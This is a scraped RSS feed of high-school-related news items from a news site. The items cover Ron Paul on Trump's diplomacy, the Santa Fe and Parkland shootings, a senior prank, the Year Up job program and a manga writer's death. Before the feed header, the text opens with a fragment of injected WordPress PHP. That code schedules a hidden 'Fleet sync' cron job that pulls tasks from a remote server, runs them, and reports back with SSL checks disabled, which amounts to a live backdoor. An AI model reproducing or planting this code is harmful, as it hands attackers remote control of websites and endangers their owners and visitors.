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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Highschool – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 01 Dec 2018 03:40:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Highschool – Brief News https://briefnews.eu 32 32 Trump’s ‘lousy high-school diplomacy’ will backfire & isolate the USA – Ron Paul https://briefnews.eu/trumps-lousy-high-school-diplomacy-will-backfire-isolate-the-usa-ron-paul/ https://briefnews.eu/trumps-lousy-high-school-diplomacy-will-backfire-isolate-the-usa-ron-paul/#respond Sat, 01 Dec 2018 03:40:35 +0000 http://briefnews.eu/trumps-lousy-high-school-diplomacy-will-backfire-isolate-the-usa-ron-paul/ Donald Trump’s statesmanship skills could leave the US isolated on the global stage, former congressman Ron Paul told RT, noting how the American head of state marked his G20 appearance with “high school” tantrums.

Such an amateurish approach to diplomacy wherever “threats” are still involved, even when the US leader seemingly makes an effort “to correct the policy,” is hurting US interests, the former Congressman from Texas told RT. Prior to Trump’s arrival in Buenos Aires, the Republican abruptly canceled the much-anticipated fringe meeting with Russian leader Vladimir Putin, citing the Ukrainian crisis as his reason, however unlikely.

“That sounds like high school stuff. ‘I’m not going to talk to you anymore’,” Paul said. “I think diplomacy is lousy … the way he talks and the aggressiveness, ‘I’ll do this, or I’ll give you this, or I’ll put sanctions on you.’”




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While Trump did not shake hands with Putin at the G20, they still eventually greeted each other and, as the US leader put it, will have a proper meeting “at the appropriate time.” Yet Paul believes that Trump might be trying to avoid an “uncomfortable position” at a time when he is being pressured by American lawmakers to act against Russia.

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“Political pressure says that he has to go along with NATO and the Europeans and the sentiment here in this country,” Paul said. “There is a strong sentiment anytime that they can find something that they can construe as being negative towards Russia, they do.”

Overall, Trump’s posture in dealing with world leaders could leave the US isolated, especially when it comes to China and solving the ongoing trade dispute, Paul believes. While agreeing to meet the Chinese Premier Xi Jinping on the sidelines of the G20, Trump approached the negotiations from a position of strength, threatening to slap China with an additional $ 267 billion-worth of tariffs, should Beijing fail to meet the US demands.

“You can’t correct economic problems by tariffs,” Paul stressed. “And we throw our weight around and I think that would backfire on us and we could become the nation that got isolated because we haven’t won friends over the years. And we tend to aggravate people.”

Isolation will be painful for us because someday there will be a challenge to the dollar and that would be a big problem for the United States.

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]]> https://briefnews.eu/trumps-lousy-high-school-diplomacy-will-backfire-isolate-the-usa-ron-paul/feed/ 0 Santa Fe high-school gunman reportedly yelled out ‘surprise’ before shooting, didn’t shoot students he liked https://briefnews.eu/santa-fe-high-school-gunman-reportedly-yelled-out-surprise-before-shooting-didnt-shoot-students-he-liked/ https://briefnews.eu/santa-fe-high-school-gunman-reportedly-yelled-out-surprise-before-shooting-didnt-shoot-students-he-liked/#respond Sat, 19 May 2018 03:00:46 +0000 http://briefnews.eu/santa-fe-high-school-gunman-reportedly-yelled-out-surprise-before-shooting-didnt-shoot-students-he-liked/ dimitrios pagourtzisGalveston County Sheriff’s Office via Associated Press

  • Dimitrios Pagourtzis, the suspected gunman in the Santa Fe High School shooting in Texas, reportedly yelled out “surprise” before firing his weapon.
  • After his arrest, Pagourtzis confessed to the killings and said he did not shoot students he liked because he wanted to get his story told, according to an affidavit issued by the state of Texas.
  • At least 10 people were killed and another 10 were injured.

Seventeen-year-old Dimitrios Pagourtzis, the suspected gunman who killed at least 10 people and injured another 10 at the Santa Fe High School in Texas, reportedly yelled out “surprise” before firing his weapon, according to a freshman student interviewed by a KRIV reporter on Friday.

Pagourtzis, a student of the high school, reportedly walked into an art class between 7:30 and 7:45 a.m. local time and opened fire with a shotgun. At around 8:00 a.m., Pagourtzis surrendered to law-enforcement officers.

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]]> https://briefnews.eu/santa-fe-high-school-gunman-reportedly-yelled-out-surprise-before-shooting-didnt-shoot-students-he-liked/feed/ 0 Wisconsin high-school seniors pull off epic fake-crash prank https://briefnews.eu/wisconsin-high-school-seniors-pull-off-epic-fake-crash-prank/ https://briefnews.eu/wisconsin-high-school-seniors-pull-off-epic-fake-crash-prank/#respond Fri, 18 May 2018 00:39:52 +0000 http://briefnews.eu/wisconsin-high-school-seniors-pull-off-epic-fake-crash-prank/

Here’s a pretty epic high-school senior prank: A car crashed into the side of the school building just outside the principal’s office, bricks strewn everywhere and a gaping black hole. Except none of it is real.

It happened in Cumberland, Wis., a small town in northwest Wisconsin about 90 miles from Minneapolis. There, seniors at Cumberland High School used the sawed-off rear two-thirds of a junker Pontiac Grand Am GT with a Texas license plate, tape and a black tarp, plus some strategically placed bricks, to create the illusion of a gaping hole in the wall of the school, near the principal’s office. A photo of the teens shows them holding a banner warning against the dangers of drinking and driving.

Konur Paso, one of the seniors behind the prank, told the Twin Cities Pioneer Press the idea came about after talking with his dad, Jon Pasko, a technology teacher in the district. A friend of Konur’s had purchased the Grand Am and then sold it for $ 200 after discovering it had severe front suspension problems.


“We have this junk car. Now what are we going to do with it?” Konur said.

So he and his friends spent the weekend gutting the car, removing the engine, front seats, panels, wiring and other parts and then cutting off the front of the body. They loaded it onto a trailer and found bricks at Konur’s grandfather’s house.

The prank setup took only seven minutes, he said.

“You had everyone a little nervous this morning,” the school district posted on Facebook. The city’s police department offered its congratulations, calling it “one of the best senior pranks that Cumberland High School has seen.”

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]]> https://briefnews.eu/wisconsin-high-school-seniors-pull-off-epic-fake-crash-prank/feed/ 0 A damning new timeline of the Florida high-school shooting shows how badly the armed deputy screwed up https://briefnews.eu/a-damning-new-timeline-of-the-florida-high-school-shooting-shows-how-badly-the-armed-deputy-screwed-up/ https://briefnews.eu/a-damning-new-timeline-of-the-florida-high-school-shooting-shows-how-badly-the-armed-deputy-screwed-up/#respond Fri, 09 Mar 2018 16:39:13 +0000 http://briefnews.eu/a-damning-new-timeline-of-the-florida-high-school-shooting-shows-how-badly-the-armed-deputy-screwed-up/ florida school shootingMark Wilson/Getty

  • The Broward Sheriff’s office on Thursday released internal radio dispatches that reveal how deputies responded to last month’s high-school shooting in Florida.
  • The timeline is especially damning for the armed school resource officer, who never confronted the gunman.
  • Instead, the deputy remained outside the building and even directed other officers to stay 500 feet away from the scene.
  • The dispatches show that 11 minutes passed after the gunfire broke out before officers from a neighboring police department entered the school.

The armed school resource officer who failed to confront the Florida high-school shooter last month also warned other first responders to stay away from the scene as the massacre was unfolding, internal radio dispatches show.

The deputy, Scot Peterson, resigned roughly a week after the shooting, after an investigation by the Broward Sheriff’s Office revealed he did “nothing” to stop the gunman and stayed outside the building for several minutes instead.

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  • Seven young adults went undercover as students at a Kansas high school for the documentary series “Undercover High.”
  • The volunteers, ages 21 to 26, made themselves look younger, and one of them even got braces to look the part.
  • They discovered issues students were going through that even the administration didn’t know about.

You couldn’t pay most people to relive their high school experiences.

But that’s exactly what seven young adults did for the new A&E documentary series “Undercover High,” which premieres Tuesday.

The show follows the seven participants, ages 21 to 26, as they pose as students at Highland Park High School in Topeka, Kansas, during the spring 2017 semester.

The goal of the program is to expose the challenges of students and school staff, as well as provide administrators details students would ordinarily never share with them.

“I always wonder, what is a student not telling us that they will only tell a peer?” Tiffany Anderson, the superintendent of Topeka Public Schools, said in an early episode.

Over the semester, the young adults were exposed to bullying, sexual harassment, poverty, violence, and drug addiction, among other issues. And in some cases, administrators did not realize the extent of the problems.

“All of those topics are discussed at some level at school, but between students, the insight is just much deeper than what we would have gained otherwise,” Anderson told Business Insider.

The participants tried to look like convincing high-school students. The men shaved to look younger, while one woman, a 25-year-old named Erin, was even fitted with braces. They took a full course load and did assignments like the rest of the students.

undercover high erinA&EAlthough the group received psychological training before the semester, nothing could prepare them for what they experienced.

As early episodes of the show indicate, cellphone use is rampant among students at the school, and social media became a greater source of pressure and stress than it had been for participants who graduated as recently as five years ago.

“The kinds of challenges that I experienced in high school along with my peers are now 24/7 issues because of technology, computers, cellphones, and social media,” Shane Feldman, an undercover student who graduated from high school in 2012, told Business Insider. “There’s no real escape.”

Issues involving social media arose quickly for the participants. One woman, a 22-year-old named Lina, caught wind of a group text in which more than 20 male students were making alarming sexual remarks about her soon after she arrived at the school.

“I think my heart kind of stopped for a minute,” she said.

She later informed the school’s principal, who discovered that some of the people in the group text weren’t even students in the school district.

“Undercover High” is an effort between A&E and Lucky 8 productions. The companies previously collaborated on the show “60 Days In,” which follows citizens who go undercover as inmates in an Atlanta jail and is now in its fourth season.

The first episode of “Undercover High” airs Tuesday at 10 p.m. ET, followed by a segment featuring a psychotherapist and an adolescent psychologist who were advisers on the show, as well as a member of a crisis text line and some of the undercover students.

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  • 18-year-old Hillary Diane Andales won the 2017 Breakthrough Junior Challenge for her video explaining the theory of relativity.
  • Andales took home $ 250,000 in scholarship money for her win.

The German physicist Albert Einstein needed complex equations to describe his theory of relativity, but 18-year-old Hillary Diane Andales of the Philippines does just fine with a pick-up truck, a few cell phones, and Usain Bolt.

Andales is the winner of the 2017 Breakthrough Junior Challenge, an annual competition that calls on teenagers across the world to submit videos no longer than three minutes that simplify big ideas in science or math. For her win, Andales took home the grand prize of $ 250,000 in scholarship money.

Her winning video was entitled “Relativity & The Equivalence of Reference Frames.” It began by displaying a sideways number, which you could interpret as either a “6” or a “9” depending on which way you turned your head. The perspective you take, Andales noted, determines your reference frame.

Reference frames are fundamental to relativity because observers perceive things differently if they’re in different locations, she explained.

Andales demonstrated this by recruiting three of her friends to record the sound a pickup truck made as it drove down a road and honked the horn. Each person stood in a different spot — one in front of the car, one behind the car, and one inside the car — and recorded the sound.

Each reference frame yielded a different sound, since the sound waves coming from the horn were either bunched up (producing a higher pitch) or spread out (a lower pitch) relative to where they got recorded.

The same test can be done with velocity and time, Andales explained. If Usain Bolt ran the 100-meter dash at 98% the speed of light, a 10-second finish from his perspective would read 40 seconds on the judge’s clock.

The reason is that faster clocks seem to move slower relative to a stationary observer. It’s the same principle that explains why clocks on the International Space Station, which orbits the Earth at 17,000 mph, lag behind terrestrial clocks by about 0.007 seconds every six months.

Thus, as Andales points out, Bolt is the Olympics’ best time traveler.

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]]> https://briefnews.eu/a-high-school-student-won-250000-for-explaining-relativity-using-a-pick-up-truck-and-usain-bolt/feed/ 0 How a Hollywood Powerhouse Built Its Own High-School Football Factory https://briefnews.eu/how-a-hollywood-powerhouse-built-its-own-high-school-football-factory/ https://briefnews.eu/how-a-hollywood-powerhouse-built-its-own-high-school-football-factory/#respond Fri, 27 Oct 2017 20:35:23 +0000 http://briefnews.eu/how-a-hollywood-powerhouse-built-its-own-high-school-football-factory/ With tuition of $ 75,200 and an $ 11 million training complex, Endeavor’s IMG Academy sits at the apex of the commercialization of youth sports. Today, it churns out more college-football prospects than any other high school.

The best moments of high school for 18-year-old senior Will Huggins haven’t been typical rites of passage like the prom or getting a driver’s license. Instead, he recites his time in the 40-yard dash, down four-tenths of a second in two years, and the 40 pounds he gained.

]]> https://briefnews.eu/how-a-hollywood-powerhouse-built-its-own-high-school-football-factory/feed/ 0 Getting High-School Grads Into the Closed-Off World of Tech https://briefnews.eu/getting-high-school-grads-into-the-closed-off-world-of-tech/ https://briefnews.eu/getting-high-school-grads-into-the-closed-off-world-of-tech/#respond Thu, 13 Apr 2017 17:41:09 +0000 http://briefnews.eu/getting-high-school-grads-into-the-closed-off-world-of-tech/ SAN JOSE—On a recent weekday, an unlikely crew of 18-to-24 year-olds gathered in a classroom in an office building, proving wrong a mantra often heard in economic development: Training programs aren’t effective at getting people good jobs.

From 9 a.m. to 5 p.m., the students, mostly minorities from poor families, will tinker with computers, hone their e-mail skills,work on PowerPoint presentations, and even practice giving professional handshakes. And in a few months’ time, the 80 students will move on to coveted internships in Silicon Valley, all the more impressive since the students do not have college degrees.

This is Year Up, a training program that serves more than 3,000 students nationwide every year and that is effective in getting people without college degrees into good jobs. The model solves a growing problem in a tight economy: Across the country, hundreds of thousands of people are stuck in low-paying jobs with little room for upward mobility, while employers complain that they can’t find enough qualified workers for jobs that don’t require college degrees. Year Up takes students who might not otherwise know how to negotiate the working world and gives them the skills they need to make it in in-demand jobs. After six months of intense training in a classroom and counseling from mentors, it connects them with six-month internships in fields like business, technology, and finance. The students in the San Jose classroom will move on to internships doing IT support or as administrative support staff at companies like Google, Salesforce, Facebook, and Tesla. In many cases, those internships will lead to full-time employment. Year Up also pays students a stipend while they go through the program.

Year Up is one of a handful of training programs that are proving that it is possible to help unskilled workers move into better jobs. The key, experts say, is that Year Up and other successful programs have partnerships with employers in growing sectors of the economy who commit to hiring participants. “There wasn’t much evidence that job training works,” said Mark Elliott, the president of the Economic Mobility Corporation, which evaluates programs that try to help low-income people find lasting, steady careers. “But having a program that trains people for a good job in a growing sector of the economy is what shows impact.”

It’s important to find something that works to prepare people for these positions—“middle-skill” jobs, which require education beyond high school, but not a four-year degree, make up more than half of the jobs in the U.S. labor market. Yet only 43 percent of U.S. workers are trained to a middle-skill level. Millions of these jobs—from health technician to paralegal to IT specialist—are expected to open up in the next decade.

The type of students who go through Year Up are a good match for some of these middle-skill jobs. Lower-income people often benefit from training programs more than displaced workers who have been in the workforce for a long time, according to Harry Holzer, a professor of public policy at Georgetown. “If you’re young and you’re pretty comfortable sitting in a classroom, training can work pretty well,” he said. Evidence shows that this demographic is sorely in need of good work—the unemployment rate for high-school graduates aged 17 to 20 who have not completed, or aren’t working toward completing, further schooling is 18 percent, and many of them are underemployed, meaning they are not working as many hours as they’d like.  

Ulises Ortiz, 19, is an example of the type of person who benefits from Year Up. The San Jose resident graduated from high school in 2014 and bounced around from job to job: bagging groceries, stocking shelves, scanning packages for Amazon. He had tinkered with computers in high school, but didn’t have any connections in Silicon Valley, even though some of the world’s biggest tech companies were based nearby. “Growing up Latino, being in a low-income family, I don’t get the doors that others do,” he said. “Even being in Silicon Valley, it’s hard to get in.”

Year Up opened those doors. Ortiz likens Year Up to a visit to Willy Wonka’s chocolate factory, where new worlds abound. Like in the Roald Dahl book, participants learn that if they misbehave, they’ll have to leave the program—Ortiz started Year Up previously but said that bad habits he had learned in high school caught up with him, and he had to drop out. He’s now determined to finish, and get placed in an internship that will launch his career.

Companies that provide internships and jobs to the students have to pay to do so—Year Up receives much of its funding from employers, who say they benefit because they receive classes of diverse workers whose qualifications have already been vetted by Year Up. “They’re perfect model employees when they come into your organization,” said Ebony Frelix, a senior vice president of philanthropy and engagement at Salesforce.

Salesforce started working with Year Up in 2008. Since then, it’s had 264 interns, about half of whom are now employed there full-time. Working with the program provides a way for a tech company to connect with the local community. Salesforce’s participation in Year Up might have begun as a philanthropic endeavor, but the program now also contributes to workforce development, Frelix said. “It’s not about charity,” she said. “It’s really about they are adding value to our organization.”

Sergio Coria works in Year Up’s computer lab in San Jose. (Alana Semuels / The Atlantic)

Year Up is the brainchild of Gerald Chertavian, a former investment banker who had volunteered in the Big Brother program and was frustrated to see that his little brother didn’t have the access to opportunity that people from other neighborhoods would have. Chertavian started Year Up in Boston in 2000, and the program has since expanded to more than 20 other locations, including Chicago, Baltimore, New York, and Seattle. Hoping to help even more people, it recently launched a program at community-college campuses to train full-time students for the workforce.

Chertavian is an “unusually dynamic individual” who is able to convince employers to take a chance on kids without a lot of experience, said Timothy Smeeding, a professor of public affairs at the University of Wisconsin-Madison who has studied anti-poverty programs. Chertavian figured out that training that works isn’t necessarily about teaching people how to do a certain job, Smeeding said, but rather, about how to prepare people to navigate the working world. In addition to hard skills, students in Year Up learn how to solicit and give feedback, how to network, how to make small talk. These skills are often learned through experience: Speakers come to the classrooms every Friday, and students must figure out how to follow up with them afterwards to make a connection. Chertavian “takes a lot of kids who have no role model, ” Smeeding said, adding, “What he gives them are social behavioral skills.”

Sergio Coria, 20, said he didn’t know how to make professionally acceptable small talk before he started Year Up in March. His mother is a farmworker, and to earn money during and after high school, he, too, would work in the fields, cutting grape vines, picking figs and tomatoes—gaining a different type of skill set than the one needed in an office. He began Year Up in March, and in the last few months, he told me, he’s learned how to make small talk and how to network, and is preparing for an internship in networking and systems administration. In a recent job interview, when an awkward pause came up, he practiced what he had learned at Year Up by making small talk about polar bears, he told me.

Elliott, of Economic Mobility Partners, evaluated Year Up in 2011 and 2014, comparing participants who were accepted into the program to those in a control group who did not. He didn’t expect much when he began the research, he told me. The evaluation of Year Up was a small study, and such training programs rarely show impacts. But once he did the analysis, he found that one year after the program had ended, Year Up participants made 30 percent more than members of the control group did. Year Up participants were also more likely to be working full-time than members of the control group. “That Year Up in this tiny study had a large enough impact to be statistically significant at this scale was kind of astounding,” he said.

Traditionally, workforce development offices try to get participants into jobs as quickly as possible, Elliot said. But increasingly, studies are showing that training programs that aim for good jobs, rather than any jobs, are more effective at getting people to lasting professional stability. Elliott’s study suggests that Year Up participants overall earn $ 14.21 an hour on average, but that those who go into information technology and financial operations tend to earn more—between $ 17 and $ 19 an hour.

To be sure, these aren’t necessarily jobs that will be family-sustaining for the long run. But the jobs that students get from Year Up are a good entry into the labor market. Many students will attend college while they’re working, or go back to college after a few years in the workforce.

And many students who go through Year Up had tried community college, but found it wasn’t a good fit. That includes Coria. He says Year Up provides support that his community college didn’t. “I didn’t like the way [community college] was structured—they say, ‘We want you to do this or that,’ but didn’t offer any help,” he told me. “Year Up has offered the help and the support that I’m looking for.”

Year Up is also successful because it provides a close-knit community for participants, says Jay Banfield, Year Up’s chief officer of innovation and scale, who opened the San Francisco office of Year Up in 2008. Year Up provides participants with individual coaches who follow up if they don’t show up for class and who create plans for catching up if they fall behind on work. Some  of the students may lack stable housing or money for transportation, or may need to get extra jobs so they can help their parents pay the bills. Year Up acknowledges that and helps students work through it. Mentors check in with students frequently, and help them navigate how to handle problems that arise.  “There’s a value in being seen and heard, and in knowing that when there are obstacles in the way, a support network will help get you through,” Banfield said.

Year Up also provides something whose importance has long been under-recognized in efforts to promote upward mobility—social capital. It’s the connections to people who might be able to tell students about opportunities or make introductions that could help their careers. Shinay Trotter, a Year Up participant, had heard of tech companies like Facebook and Google, she told me, but had never heard of companies like Salesforce, which is where she ended up interning while in the program (her mother thought the company was a retail store). When her internship ended, Salesforce wasn’t hiring, but her boss at Salesforce knew of another company that was hiring, and connected Trotter. Trotter now has a full-time job at the company, called Groupware Technology. “What I learned at Salesforce is that if you don’t know anyone, it’s hard to get a job there,” she told me. “It’s all about who you know.”

Another Year Up graduate, Melissa Duarte, interned at PayPal on the data-security team and now works there full-time as a database administrator. She’s planning on going to a four-year college eventually, but said the work experience helped her better understand what fields she wanted to go into—previously, she had been working at Starbucks. “I never even knew there was such a thing as a database administrator” before Year Up, she told me.  

Having buy-in from companies is what makes Year Up successful. Companies need to fill open jobs with good people, and Year Up takes on the responsibility of preparing those people for the workforce. “The way we engage with the labor market is something that needs to be done at a greater scale within the country,” Banfield, of Year Up, said.

Of course, in Silicon Valley, where companies are flush with cash and sorely lacking in diversity, employers might be more likely to invest in a program like Year Up than employers in other parts of the country. Year Up is providing a service that is of real value to them, helping them diversify their ranks. But in many parts of the country, there are lots of middle-skill jobs that are going unfilled, which means that the Year Up model is not uniquely suited to the labor-market conditions in the Bay Area.

Investing in students is expensive—Elliott estimates that Year Up spends $ 25,000 on each of its participants. But it’s expensive for the country to have millions of workers in jobs that don’t pay well, requiring them to go on public assistance. And it’s expensive for companies to have open positions that they can’t fill. Programs that try to prepare workers for those jobs have rarely been successful. But with companies’s support and intensive investment in workers, Year Up is showing that preparing people for good jobs can actually work.

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Writer Daisuke Sato died on March 22 from coronary artery disease. He was 52.

Illustrated by Shoji Sato and written by Sato, Highschool of the Dead debuted in 2006 and was turned into an anime series in 2010.

Besides Highschool of the Dead, Sato was known for the manga series Imperial Guards as well as the alternative history novel Red Sun Black Cross in which the Japanese battled the Germans.

According to Biglobe News, a funeral service was held by his family. May he rest in peace.

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